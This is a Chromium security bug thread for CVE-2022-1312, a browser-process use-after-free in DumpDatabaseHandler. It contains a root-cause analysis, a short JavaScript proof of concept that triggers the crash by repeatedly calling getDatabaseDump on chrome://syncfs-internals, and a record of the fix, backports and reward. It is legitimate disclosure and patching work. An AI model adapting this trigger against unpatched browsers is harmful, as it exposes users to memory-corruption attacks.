Starred by 3 users

Owner:	asully@chromium.org
CC:	rzanoni@google.com hchao@chromium.org mek@chromium.org pwnall@chromium.org ayui@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>Storage>FileSystem
Modified:	Jul 29, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Windows, Chrome, Mac, Fuchsia, Lacros
Pri:	1
Type:	Bug-Security

Hotlist-Merge-Review
M-100
Security_Severity-High
allpublic
reward-inprocess
reward-15000
CVE_description-submitted
external_security_report
Target-100
FoundIn-99
Security_Impact-Extended
merge-merged-4664
LTS-Merge-Merged-96
merge-merged-4896
merge-merged-100
merge-merged-4951
merge-merged-101
Release-2-M100
CVE-2022-1312

Issue 1311701: Security: UAF in DumpDatabaseHandler

Reported by leecraso@gmail.com on Wed, Mar 30, 2022, 12:03 PM EDT

Code

VULNERABILITY DETAILS

Message `getDatabaseDump`[1] will bind the task `DidGetDatabaseDump`[2] with `base::Unretained(this)` as a callback into the SyncFileSystemService. And if the `sync_worker` is turned on, the task will be posted into a new sequence[3]. It will cause the UAF if `DumpDatabaseHandler` gets destroyed before the task run.

[1].
https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/resources/sync_file_system_internals/dump_database.js;l=17;drc=04131fcab06ff84254133e7f7f38dd6c48cb0c13;bpv=0;bpt=0
[2].
https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc;l=35;drc=354945de1fb564ef04c07cf8bfedf434d2d81747
[3].
https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/sync_file_system/drive_backend/sync_engine.cc;l=565;bpv=1;bpt=0;drc=646a03e971cc83d5e9751aefa67abd39fe842f67

Fix suggestion:

Use `weak_ptr_factory_.GetWeakPtr()` or `CancelableTask`.

VERSION
Chrome Version: stable
Operating System: test in linux & win & chromeos

REPRODUCTION CASE

1. Make sure the browser has an account that has turned on sync.
Or apply this patch to turn on the SyncEngine.

```
diff --git a/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
b/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
index b7b315093f257..584bafc84fad1 100644
--- a/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
+++ b/chrome/browser/sync_file_system/drive_backend/sync_engine.cc
@@ -259,8 +259,7 @@ void SyncEngine::Initialize() {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
   Reset();

-  if (!identity_manager_ ||
-      !identity_manager_->HasPrimaryAccount(signin::ConsentLevel::kSync)) {
+  if (!identity_manager_ ) {
     return;

   }
```

2. Load the attached extension to trigger this uaf:

out/asan/chrome --user-data-dir=/tmp/xxxx --load-extension="/path/to/extension"

Or you can:

browsing `chrome://syncfs-internals` and open devtools
execute ```
```
var w = window.open("chrome://syncfs-internals/");
setTimeout(()=>{
	with (w) {
		async function cb() {
		}
		cr.webUIResponse = cb;
		for (let index = 0; index < 0x2000; index++) {
		    chrome.send("getDatabaseDump",[""]);
		    chrome.send("getDatabaseDump",[""]);
		    window.close();
	    }
	}
},1000);
```
``` in console to trigger this uaf.

**FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION**
Type of crash: browser
Crash State: see asan file

**CREDIT INFORMATION**
Reporter credit: Leecraso and Guang Gong of 360 Vulnerability Research Institute

**asan**
46.6 KB View Download

**manifest.json**
210 bytes View Download

**background.js**
534 bytes View Download

Comment 1 by sheriffbot on Wed, Mar 30, 2022, 12:07 PM EDT

**Labels:** external_security_report

Comment 2 by ClusterFuzz on Wed, Mar 30, 2022, 3:48 PM EDT

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5086324381777920.

Comment 3 by leecraso@gmail.com on Thu, Mar 31, 2022, 6:22 AM EDT

It is a browser crash, ClusterFuzz with v8 doesn't seem reasonable.
```

Comment 4 by hchao@google.com on Thu, Mar 31, 2022, 1:26 PM EDT

Owner: pwnall@chromium.org
Cc: hchao@chromium.org
Labels: FoundIn-99 Security_Severity-Medium Pri-1
Components: Blink>Storage>FileSystem

Yeah good point.

I was able to repro though i haven't gotten around to looking at foundin correctly. Its at least in 99.

@pwnall can you take a look?

Comment 5 by sheriffbot on Thu, Mar 31, 2022, 1:26 PM EDT

Labels: Security_Impact-Extended

Comment 6 by dcheng@chromium.org on Thu, Mar 31, 2022, 1:45 PM EDT

Labels: -Security_Severity-Medium Security_Severity-Critical OS-Fuchsia

Per discussions, marking this as critical because it's a browser process UaF and only requires an extension to be installed (with minimal permissions).

The line with base::Unretained() dates back to at least https://source.chromium.org/chromium/chromium/src/+/db3408a9ef16b977be7ab0f5c30a09a57348d62a, and so this is unsafe in extended and beyond.

Comment 7 by dcheng@chromium.org on Thu, Mar 31, 2022, 1:46 PM EDT

Labels: OS-Chrome OS-Linux OS-Mac OS-Windows OS-Lacros

I don't /think/ this WebUI page is used on Android, but I don't have a device handy to confirm. Can someone check?

Comment 8 Deleted

Comment 9 by leecraso@gmail.com on Thu, Mar 31, 2022, 1:49 PM EDT

yes, this webUI page is not used on Android.

Comment 10 by sheriffbot on Thu, Mar 31, 2022, 2:16 PM EDT

Status: Assigned (was: Unconfirmed)

Comment 11 by sheriffbot on Fri, Apr 1, 2022, 12:46 PM EDT

Labels: M-100 Target-100

Setting milestone and target because of high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 12 by hchao@google.com on Fri, Apr 1, 2022, 1:02 PM EDT

Cc: mek@chromium.org

Comment 13 by mek@chromium.org on Fri, Apr 1, 2022, 1:05 PM EDT

Owner: asully@chromium.org

Cc: pwnall@chromium.org ayui@chromium.org

asully: can you take a look?

Comment 14 by sheriffbot on Fri, Apr 1, 2022, 1:12 PM EDT

Labels: -Pri-1 Pri-0

Setting Pri-0 to match security severity Critical. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by Git Watcher on Mon, Apr 4, 2022, 7:42 PM EDT

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/6405ab0150f1a98ea7a712cf79047770d54bd854

commit 6405ab0150f1a98ea7a712cf79047770d54bd854
Author: Austin Sullivan <asully@chromium.org>
Date: Mon Apr 04 23:40:56 2022

syncfs_internals: Use WeakPtr for DumpDatabaseHandler

~~Bug: 1311701~~
Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3570389
Auto-Submit: Austin Sullivan <asully@chromium.org>
Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Cr-Commit-Position: refs/heads/main@{#988749}

[modify]
https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h
[modify]
https://crrev.com/6405ab0150f1a98ea7a712cf79047770d54bd854/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc

Comment 16 by asully@chromium.org on Mon, Apr 4, 2022, 7:43 PM EDT

Status: Fixed (was: Assigned)

Comment 17 by sheriffbot on Tue, Apr 5, 2022, 12:42 PM EDT

Labels: reward-topanel

Comment 18 by sheriffbot on Tue, Apr 5, 2022, 1:41 PM EDT

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 19 by sheriffbot on Tue, Apr 5, 2022, 2:01 PM EDT

Labels: Merge-Request-101 Merge-Request-100

Requesting merge to stable M100 because latest trunk commit (988749) appears to be after stable branch point (972766).

Requesting merge to beta M101 because latest trunk commit (988749) appears to be after beta branch point (982481).

Requesting merge to beta M101 because latest trunk commit (988749) appears to be after beta branch point (982481).

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 20 by adetaylor@google.com on Tue, Apr 5, 2022, 5:03 PM EDT

Labels: -Security_Severity-Critical Security_Severity-High Pri-1

This requires an extension to be installed which mitigates this down from Critical to High. We should accommodate this in the next convenient release vehicle, but this does not require us to inconvenience and cost all Chrome users by issuing an extra Chrome build.

Comment 21 by sheriffbot on Tue, Apr 5, 2022, 7:44 PM EDT

Labels: -Merge-Request-101 Merge-Review-101 Hotlist-Merge-Review

Merge review required: M101 is already shipping to beta.

Please answer the following questions so that we can safely process your merge request:
1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.
Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 22 by sheriffbot on Tue, Apr 5, 2022, 7:44 PM EDT

Labels: -Merge-Request-100 Merge-Review-100

Merge review required: M100 is already shipping to stable.

Please answer the following questions so that we can safely process your merge request:
1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.
Owners: govind (Android), harrysouders (iOS), dgagnon (ChromeOS), srinivassista (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by asully@chromium.org on Wed, Apr 6, 2022, 2:49 AM EDT

1. Why does your merge fit within the merge criteria for these milestones?

High severity security fix

2. What changes specifically would you like to merge? Please link to Gerrit.

M101: https://crrev.com/c/3573889
M100: https://crrev.com/c/3573890

3. Have the changes been released and tested on canary?

Yes

4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?

No

5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents

N/A

6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Yes. See repro case in the initial bug report. The fix works if the browser does not crash

Comment 24 by amyressler@chromium.org on Thu, Apr 7, 2022, 11:23 AM EDT

Labels: -Merge-Review-100 -Merge-Review-101 Merge-Approved-101 Merge-Approved-100

M101 merge approved, please merge to branch 4951 at your earliest convenience

M100 merge approved, please merge to branch 4896 ASAP so this fix can be included in tomorrow's security refresh for M100

Comment 25 by Git Watcher on Thu, Apr 7, 2022, 2:08 PM EDT

Labels: -merge-approved-100 merge-merged-4896 merge-merged-100

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91

commit b8d56fab5dde25c988f0ae7acdac37b1fbd26a91
Author: Austin Sullivan <asully@chromium.org>
Date: Thu Apr 07 18:07:37 2022

M100: syncfs_internals: Use WeakPtr for DumpDatabaseHandler

(cherry picked from commit 6405ab0150f1a98ea7a712cf79047770d54bd854)

~~Bug: 1311701~~
Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3570289

Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3570389
Auto-Submit: Austin Sullivan <asully@chromium.org>
Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#988749}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3573890
Reviewed-by: Srinivas Sista <srinivassista@chromium.org>
Commit-Queue: Srinivas Sista <srinivassista@chromium.org>
Owners-Override: Srinivas Sista <srinivassista@chromium.org>
Cr-Commit-Position: refs/branch-heads/4896@{#1074}
Cr-Branched-From: 1f63ff4bc27570761b35ffbc7f938f6586f7bee8-refs/heads/main@{#972766}

[modify]
https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h
[modify]
https://crrev.com/b8d56fab5dde25c988f0ae7acdac37b1fbd26a91/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc

Comment 26 by sheriffbot on Thu, Apr 7, 2022, 2:12 PM EDT

Labels: LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:
1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 27 by asully@chromium.org on Thu, Apr 7, 2022, 2:22 PM EDT

1. Was this issue a regression for the milestone it was found in?

No

2. Is this issue related to a change or feature merged after the latest LTS Milestone?

No

Comment 28 by Git Watcher on Thu, Apr 7, 2022, 2:36 PM EDT

Labels: -merge-approved-101 merge-merged-4951 merge-merged-101

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/0221dbed0ca96e011d38b117a04aeac320578f27

commit 0221dbed0ca96e011d38b117a04aeac320578f27
Author: Austin Sullivan <asully@chromium.org>
Date: Thu Apr 07 18:35:05 2022

M101: syncfs_internals: Use WeakPtr for DumpDatabaseHandler

(cherry picked from commit 6405ab0150f1a98ea7a712cf79047770d54bd854)

~~Bug: 1311701~~
Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3570389
Auto-Submit: Austin Sullivan <asully@chromium.org>
Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#988749}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3573889
Reviewed-by: Ayu Ishii <ayui@chromium.org>
Reviewed-by: Victor Costan <pwnall@chromium.org>
Commit-Queue: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/branch-heads/4951@{#551}
Cr-Branched-From: 27de6227ca357da0d57ae2c7b18da170c4651438-refs/heads/main@{#982481}

[modify]
https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h
[modify]
https://crrev.com/0221dbed0ca96e011d38b117a04aeac320578f27/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc

Comment 29 by rzanoni@google.com on Mon, Apr 11, 2022, 9:39 AM EDT

Cc: rzanoni@google.com
Labels: LTS-Evaluating-96

Comment 30 by adetaylor@google.com on Mon, Apr 11, 2022, 1:15 PM EDT

Labels: Release-2-M100

Comment 31 by adetaylor@google.com on Mon, Apr 11, 2022, 1:30 PM EDT

Labels: CVE-2022-1312 CVE_description-missing

Comment 32 by rzanoni@google.com on Tue, Apr 12, 2022, 8:25 AM EDT

Labels: -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 33 by sheriffbot on Tue, Apr 12, 2022, 8:27 AM EDT

Labels: -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 34 by rzanoni@google.com on Tue, Apr 12, 2022, 8:35 AM EDT

1. Just https://crrev.com/c/3581702
2. Low, a few simple conflicts and the fix is a small change
3. 100, 101
4. Yes

Comment 35 by amyressler@google.com on Wed, Apr 13, 2022, 7:42 PM EDT

Labels: -reward-topanel reward-unpaid reward-15000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 36 by amyressler@chromium.org on Wed, Apr 13, 2022, 7:55 PM EDT

Congratulations, leecraso and Guang Gong! The VRP Panel has decided to award you $15,000 for this report. Thank you for your efforts and great work!

Comment 37 by amyressler@google.com on Fri, Apr 15, 2022, 9:41 PM EDT

Labels: -reward-unpaid reward-inprocess

Comment 38 by gmpritchard@google.com on Tue, Apr 19, 2022, 10:26 AM EDT

Labels: -LTS-Merge-Candidate -LTS-Merge-Review-96 LTS-Merge-Approved-96

Comment 39 by Git Watcher on Tue, Apr 19, 2022, 1:23 PM EDT

Labels: merge-merged-4664

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/794764e9dac65771375b3c3fc1bb73cc4f3a9efe

commit 794764e9dac65771375b3c3fc1bb73cc4f3a9efe
Author: Austin Sullivan <asully@chromium.org>
Date: Tue Apr 19 17:21:58 2022

[M96-LTS] syncfs_internals: Use WeakPtr for DumpDatabaseHandler

M96 merge issues:
dump_database_handler.h:
- include conflicts
- conflicting types for profile_
dump_database_handler.cc:

- conflicts on call for getting the callback_id

(cherry picked from commit 6405ab0150f1a98aa7a712af70947770d54bd854)

(cherry picked from commit b405ab0150f1a98ea7a712cf79047770d54bd854)

~~Bug: 1311701~~
Change-Id: I97044b3622cb78d8d0950ee52ada168c401700b4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3570389
Auto-Submit: Austin Sullivan <asully@chromium.org>
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#988749}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3581702
Reviewed-by: Austin Sullivan <asully@chromium.org>
Reviewed-by: Artem Sumaneev <asumaneev@google.com>
Owners-Override: Artem Sumaneev <asumaneev@google.com>
Commit-Queue: Roger Felipe Zanoni da Silva <rzanoni@google.com>
Cr-Commit-Position: refs/branch-heads/4664@{#1596}
Cr-Branched-From: 24dc4ee75e01a29d390d43c9c264372a169273a7-refs/heads/main@{#929512}

[modify]
https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.h
[modify]
https://crrev.com/794764e9dac65771375b3c3fc1bb73cc4f3a9efe/chrome/browser/ui/webui/sync_file_system_internals/dump_database_handler.cc

Comment 40 by rzanoni@google.com on Tue, Apr 19, 2022, 1:24 PM EDT

Labels: -LTS-Merge-Approved-96 LTS-Merge-Merged-96

Comment 41 by sheriffbot on Tue, Jul 12, 2022, 1:31 PM EDT

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 42 by amyressler@google.com on Tue, Jul 26, 2022, 4:57 PM EDT

Labels: CVE_description-submitted -CVE_description-missing

Comment 43 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT

Labels: -CVE_description-missing --CVE_description-missing